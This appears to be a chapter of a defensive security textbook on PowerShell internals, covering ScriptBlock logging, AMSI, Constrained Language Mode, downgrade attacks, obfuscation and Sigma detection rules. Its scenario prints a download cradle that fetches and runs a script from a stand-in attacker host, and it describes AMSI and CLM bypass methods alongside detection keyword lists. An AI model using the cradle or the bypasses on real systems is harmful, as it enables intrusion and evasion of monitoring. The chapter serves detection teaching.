Chapter 60

PowerShell Internals

ScriptBlock logging, AMSI architecture, constrained language mode, downgrade attacks, and a complete obfuscation detection playbook.

Scenario

An alert fires on a SIEM rule: PowerShell process spawned from Word. The analyst opens the corresponding Event 4688 and sees: powershell.exe -enc JABjACAA... — a base64 blob. They decode it. Another layer of encoding. They decode again. A string concatenation. They reassemble. Finally: a download cradle — IEX (New-Object Net.WebClient).DownloadString('http://evil.com/stage2.ps1'). None of the payload touched disk. Without ScriptBlock logging (Event 4104), they would have seen only the encoded launcher — not the actual code that ran. This chapter explains why 4104 exists, what it captures, and how to use it.

PowerShell Execution Pipeline


  PowerShell Execution Pipeline
  ══════════════════════════════════════════════════════════════════

  Input (script, command, pipeline)
          │
          ▼
  ┌───────────────────┐
  │  Parser           │  Tokenizes input, checks syntax
  │  (System.Mgmt     │  Produces Abstract Syntax Tree (AST)
  │   .Automation     │  → Obfuscated code is parsed here
  │   .Language)      │  → AST can be inspected for suspicious patterns
  └────────┬──────────┘
           │  AST
           ▼
  ┌───────────────────┐
  │  Compiler         │  Converts AST → bytecode
  │                   │  Script blocks are compiled here
  │                   │  → ScriptBlock logging fires HERE (Event 4104)
  │                   │  → AMSI scans HERE before execution
  └────────┬──────────┘
           │  Compiled script blocks
           ▼
  ┌───────────────────┐
  │  Runspace         │  Isolated execution environment
  │  (PowerShell      │  Has own session state, variables, functions
  │   runtime)        │  Constrained Language Mode applied here
  │                   │  Pipeline executes cmdlets, functions, expressions
  └────────┬──────────┘
           │
           ▼
  Output (objects / formatted text)

    

ScriptBlock Logging — Event 4104

ScriptBlock logging captures the actual code that PowerShell compiles and executes — after deobfuscation by the runtime. This is its defining advantage over command-line logging.

Why this matters

Command-line logging (Event 4688 with command line enabled, or Sysmon Event 1) captures what was passed to PowerShell — which may be an encoded blob. ScriptBlock logging captures what PowerShell actually compiled — the decoded, deobfuscated script. Even IEX triggers 4104 for the final executed code. This is why ScriptBlock logging is the single most important PowerShell telemetry source.

Enable via Group Policy: Computer Config → Administrative Templates → Windows Components → Windows PowerShell → Turn on PowerShell Script Block Logging. Also enable "Log script block invocation start/stop events" to capture partial blocks.

Or via registry:

PowerShell
# Enable ScriptBlock logging
$path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
if (-not (Test-Path $path)) { New-Item -Path $path -Force }
Set-ItemProperty -Path $path -Name "EnableScriptBlockLogging" -Value 1
Set-ItemProperty -Path $path -Name "EnableScriptBlockInvocationLogging" -Value 1

The events appear in: Microsoft-Windows-PowerShell/Operational channel.

Event IDDescriptionKey Fields
4100PowerShell error detailsErrorMessage
4103Module logging — pipeline execution detailsCommandName, CommandType, CommandPath, Payload
4104ScriptBlock executed — the gold standardScriptBlockText (full code), ScriptBlockId (GUID for multi-block scripts), Path (if from file)
4105Script block invocation startScriptBlockId
4106Script block invocation stopScriptBlockId

Large scripts are split across multiple 4104 events with the same ScriptBlockId GUID — reassemble by correlating all events with matching ScriptBlockId.

AMSI — Antimalware Scan Interface

AMSI provides a scanning hook between the PowerShell compiler and execution. It allows AV/EDR products to inspect script content before it runs.


  AMSI Architecture
  ══════════════════════════════════════════════════════════════════

  PowerShell                     AV/EDR Product
  ──────────                     ─────────────
  Script input
       │
       ▼
  ┌──────────────┐
  │  amsi.dll    │  AMSI provider loaded into PowerShell process
  │  (in-process)│
  │              │ AmsiScanBuffer() ──────────────────────────────►
  │  Sends scan  │                                                  ┌──────────────────┐
  │  request     │                                                  │  AV Engine       │
  │              │ ◄────────────────────────────────────────────── │  (registered as  │
  │  Gets result │  AMSI_RESULT_DETECTED or AMSI_RESULT_CLEAN       │   AMSI provider) │
  └──────┬───────┘                                                  └──────────────────┘
         │ If clean: execute
         │ If detected: throw error (blocked)
         ▼
    Script executes
    (or is blocked)

    

AMSI Bypass Techniques (for detection)

TechniqueMechanismDetection
amsi.dll patching (in-memory)Patch AmsiScanBuffer() return value to always return clean (0x80070057)Sysmon Event 10 (OpenProcess on self), Event 8 (self-injection); memory anomaly detection
Reflection-based patchUse .NET reflection to access amsi.dll internals and null the scan contextEvent 4104 containing reflection calls to amsi types
COM bypassInstantiate PowerShell via COM (IDispatch) rather than powershell.exe — AMSI may not be initializedSysmon Event 1 showing unusual COM-hosted PS processes
PowerShell v2 downgradepowershell.exe -version 2 — PSv2 does not support AMSIEvent 4104 from a PSv2 host will have EngineVersion 2; alert on any PSv2 use
String obfuscationSplit AMSI strings so AV signature doesn't match at parse timeEvent 4104 logs the post-deobfuscation code

Constrained Language Mode (CLM)

CLM restricts what PowerShell can do. It's enforced by AppLocker or WDAC when a policy is configured. CLM limits:

Check current language mode: [System.Management.Automation.Runspace]::DefaultRunspace.LanguageMode or $ExecutionContext.SessionState.LanguageMode.

CLM bypass: run PowerShell from a writable directory that AppLocker doesn't monitor, or use mshta.exe / wscript.exe to run COM-based PS without invoking a CLM-enforced context. Detection: alert on any LanguageMode check in Event 4104 (attackers checking if they're in CLM) and on process execution from non-standard paths.

PowerShell Downgrade Attack

PowerShell v2 (powershell.exe -version 2 -command ...) lacks AMSI, ScriptBlock logging, and CLM. Any modern system with PSv2 installed (the .NET 2.0 or 3.5 runtime) is vulnerable to this bypass.

Try this

Check if PSv2 is available: Get-WindowsFeature PowerShell-V2 (Server) or look for the WOW64 component. Remove it: Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root. Detection until disabled: any powershell.exe process with command line containing -version 2 or -v 2 is suspicious — legitimate admins have no reason to explicitly request v2.

Obfuscation Techniques and Detection

TechniqueExampleDetection in Event 4104
Base64 encodingpowershell.exe -enc JABjACAA...Encoded command in 4104 is decoded; look for IEX, DownloadString in decoded text
String concatenation'inv'+'oke-exp'+'ression'4104 shows result after PS evaluates concatenation
Char array[char]73+[char]69+[char]884104 post-eval shows IEX
Tick escapingI`E`XTicks are PowerShell line continuations in strings; parser removes them
Case variationiNvOkE-ExPrEsSiOnPS is case-insensitive; 4104 logs as-is but case-insensitive matching works
Compress + decompressGZip-compressed base64 blob decompressed and IEX'd4104 captures the decompressed/decoded script
Invoke-ObfuscationToken/AST/string-layer obfuscation toolEvent 4104 still captures final code; but partially obfuscated code may evade string-based signatures — use behavioral rules
Reflection API abuse[System.Reflection.Assembly]::Load($bytes)4104 shows Load call; Sysmon Event 7 shows DLL load without disk

Sigma Rules for Malicious PowerShell

YAMLps_download_cradle.yml
title: PowerShell Download Cradle
status: stable
logsource:
    product: windows
    service: powershell
    definition: 'Microsoft-Windows-PowerShell/Operational'
detection:
    keywords:
        ScriptBlockText|contains:
            - 'DownloadString'
            - 'DownloadFile'
            - 'WebClient'
            - 'Invoke-WebRequest'
            - 'iwr '
            - 'wget '
            - 'curl '
    selection:
        EventID: 4104
    condition: selection and keywords
falsepositives:
    - Legitimate software update scripts
    - Admin scripts downloading updates
level: medium
YAMLps_amsi_bypass.yml
title: PowerShell AMSI Bypass Attempt
status: experimental
logsource:
    product: windows
    service: powershell
detection:
    selection:
        EventID: 4104
        ScriptBlockText|contains:
            - 'AmsiUtils'
            - 'amsiInitFailed'
            - 'amsiContext'
            - 'AmsiScanBuffer'
            - '[Runtime.InteropServices.Marshal]::WriteByte'
    condition: selection
level: high
YAMLps_v2_downgrade.yml
title: PowerShell Version 2 Downgrade
status: stable
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        Image|endswith: '\powershell.exe'
        CommandLine|contains:
            - '-version 2'
            - '-version 2.0'
            - '-v 2'
    condition: selection
falsepositives:
    - Legacy automation scripts (investigate and migrate)
level: high

PowerShell Remoting Events

PS remoting (Enter-PSSession, Invoke-Command) generates events on both source and destination:

Q & A

Q: How does ScriptBlock logging defeat base64-encoded PowerShell commands?

When PowerShell receives -EncodedCommand, it base64-decodes the argument internally, then passes it through the execution pipeline. The ScriptBlock logging hook fires at the compile stage — after decoding but before execution. So Event 4104's ScriptBlockText field contains the decoded, human-readable script, not the base64 blob. This is true for most obfuscation: PS must decode to execute, and the logging fires after decoding. The one exception is code that never passes through the PS compiler (e.g., raw .NET assembly loaded via Reflection) — that code bypasses ScriptBlock logging entirely.

Q: An attacker uses powershell.exe -version 2 to bypass AMSI. What events still fire?

Event 4688 (process creation) with the command line showing -version 2 — this is the primary alert. However, PSv2 does NOT generate Event 4104 (no ScriptBlock logging support). PSv2 also doesn't support AMSI. Module logging (4103) and transcription may still work depending on how PSv2 is invoked. The key detection: alert on any powershell.exe with -version 2 in the command line — there is no legitimate operational reason to use PSv2 in a modern environment.

Q: What does Constrained Language Mode block, and when is it enforced?

CLM blocks: arbitrary .NET type instantiation (Add-Type, [type]::member access except whitelisted types), COM object creation (New-Object -ComObject), direct Windows API calls via P/Invoke, and unsafe scripting operations. It's enforced when AppLocker or WDAC has a policy and the current script/process doesn't match a whitelist rule. Importantly, CLM applies only to the PS engine — it doesn't prevent all code execution. Signed PowerShell scripts running in Full Language Mode can coexist. The bypass: use a non-PS execution engine (mshta.exe, regsvr32.exe, cscript.exe) that doesn't enforce CLM, or find a way to make your script appear "trusted" to AppLocker.